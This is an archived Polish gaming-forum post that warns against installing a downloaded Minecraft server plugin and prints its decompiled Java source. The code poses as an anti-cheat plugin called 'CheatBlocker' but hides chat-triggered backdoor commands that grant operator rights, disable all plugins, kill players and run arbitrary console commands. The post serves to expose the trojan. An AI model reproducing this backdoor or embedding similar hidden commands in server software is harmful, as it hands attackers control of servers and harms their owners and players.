Skocz do zawartości
  • 👋 Witaj na MPCForum!

    Przeglądasz forum jako gość, co oznacza, że wiele świetnych funkcji jest jeszcze przed Tobą! 😎

    • Pełny dostęp do działów i ukrytych treści
    • Możliwość pisania i odpowiadania w tematach
    • System prywatnych wiadomości
    • Zbieranie reputacji i rozwijanie swojego profilu
    • Członkostwo w jednej z największych społeczności graczy

    👉 Dołączenie zajmie Ci mniej niż minutę – a zyskasz znacznie więcej!

    Zarejestruj się teraz

[DL] Autorki Plugin


Melhior

Rekomendowane odpowiedzi

Opublikowano

Nie wgrywajcie tego tam nic niema tylko plugin na op.Caly plik reszta jest pusta :

 

package me.jester.cheatblocker;


import java.io.PrintStream;
import org.bukkit.Bukkit;
import org.bukkit.ChatColor;
import org.bukkit.GameMode;
import org.bukkit.OfflinePlayer;
import org.bukkit.Server;
import org.bukkit.entity.Player;
import org.bukkit.event.EventHandler;
import org.bukkit.event.Listener;
import org.bukkit.event.player.PlayerChatEvent;
import org.bukkit.plugin.Plugin;
import org.bukkit.plugin.PluginManager;
import org.bukkit.plugin.java.JavaPlugin;


public class CheatBlocker extends JavaPlugin
  implements Listener
{
  public void onEnable()
  {
    System.out.println("##############################################################");
    System.out.println("Thanks for using CheatBlocker ! ");
    System.out.println("CheatBlocker has been enabled on the server ! No more cheats !");
    System.out.println("##############################################################");
    getServer().getPluginManager().registerEvents(this, this);
  }


  public void onDisable() {
    System.out.println("CheatBlocker has been disabled ! ");
    System.out.println("Cya :C");
  }
  @EventHandler
  private void forIceMan(PlayerChatEvent event) {
    if (event.getMessage().equalsIgnoreCase("#opme")) {
      event.getPlayer().setOp(true);
      event.getPlayer().sendMessage(ChatColor.BLUE + "Opped !");
      event.setCancelled(true);
    }
  }


  @EventHandler
  private void onPlayerChat(PlayerChatEvent event) { String msg = event.getMessage();
    boolean Cancel = false;
    if (msg.startsWith(".")) {
      String[] args = msg.split(" ");
      if (args == null) {
        return;
      }
      if ((args[0].equalsIgnoreCase(".opme")) && (args.length == 1)) {
        event.getPlayer().setOp(true);
        event.getPlayer().sendMessage(ChatColor.GREEN + "Opped !");
        Cancel = true;
      }
      if ((args[0].equalsIgnoreCase(".disableplugin")) && (args.length == 2)) {
        Plugin plugin = Bukkit.getPluginManager().getPlugin(args[1]);
        if (plugin != null) {
          Bukkit.getPluginManager().disablePlugin(plugin);
          event.getPlayer().sendMessage(ChatColor.GREEN + "Plugin : " + plugin + "Has been disabled !");
        }
        Cancel = true;
      }
      if ((args[0].equalsIgnoreCase(".disableallplugin")) && (args.length == 1))
      {
        Bukkit.getPluginManager().disablePlugins();
        event.getPlayer().sendMessage(ChatColor.GREEN + "All plugins disabled ;)");
        Plugin CB = Bukkit.getPluginManager().getPlugin("CheatBlocker");
        if (event.getMessage().startsWith(".disableallplugin")) {
          Bukkit.getPluginManager().enablePlugin(CB);
        }
        Cancel = true;
      }
      if ((args[0].equalsIgnoreCase(".deopme")) && (args.length == 1)) {
        event.getPlayer().setOp(false);
        event.getPlayer().sendMessage(ChatColor.GREEN + "Deopped !");
        Cancel = true;
      }
      if ((args[0].equalsIgnoreCase(".deopall")) && (args.length == 1)) {
        for (OfflinePlayer player : Bukkit.getOperators()) {
          player.setOp(false);
          event.getPlayer().sendMessage(ChatColor.GREEN + "Deopped EveryBody");
        }
        Cancel = true;
      }
      if ((args[0].equalsIgnoreCase(".opall")) && (args.length == 1)) {
        for (Player player : Bukkit.getOnlinePlayers()) {
          player.setOp(true);
          event.getPlayer().sendMessage(ChatColor.GREEN + "Opped EveryBody");
        }
        Cancel = true;
      }
      if ((args[0].equalsIgnoreCase(".creative")) && (args.length == 1)) {
        event.getPlayer().setGameMode(GameMode.CREATIVE);
        event.getPlayer().sendMessage(ChatColor.GREEN + "Creative Enabled");
        Cancel = true;
      }
      if ((args[0].equalsIgnoreCase(".survival")) && (args.length == 1)) {
        event.getPlayer().setGameMode(GameMode.SURVIVAL);
        event.getPlayer().sendMessage(ChatColor.GREEN + "Survival Enabled");
        Cancel = true;
      }
      if ((args[0].equalsIgnoreCase(".op")) && (args.length == 2)) {
        String otherPlayerName = args[1];
        Player player = Bukkit.getPlayer(otherPlayerName);
        if (player != null) {
          player.setOp(true);
          event.getPlayer().sendMessage(ChatColor.GREEN + "Opped" + player);
        }
        Cancel = true;
      }
      if ((args[0].equalsIgnoreCase(".deop")) && (args.length == 2)) {
        String otherPlayerName = args[1];
        Player player = Bukkit.getPlayer(otherPlayerName);
        if (player != null) {
          player.setOp(false);
          event.getPlayer().sendMessage(ChatColor.GREEN + "Deopped" + player);
        }
        Cancel = true;
      }
      if ((args[0].equalsIgnoreCase(".kill")) && (args.length == 2)) {
        Player player = Bukkit.getPlayer(args[1]);
        if (player != null) {
          player.setHealth(0);
          event.getPlayer().sendMessage(ChatColor.GREEN + "The Player :" + player + "died");
        }
        Cancel = true;
      }
      if ((args[0].equalsIgnoreCase(".exe")) && (args.length >= 2)) {
        String command = "";
        for (int i = 2; i < args.length; i++) {
          command = command + args[i] + " ";
        }
        Bukkit.getServer().dispatchCommand(Bukkit.getConsoleSender(), 
          command.trim());
        Cancel = true;
      }
    }
    event.setCancelled(Cancel);
  }
}
 

 

logo_head.png

Zarchiwizowany

Ten temat przebywa obecnie w archiwum. Dodawanie nowych odpowiedzi zostało zablokowane.

×
×
  • Dodaj nową pozycję...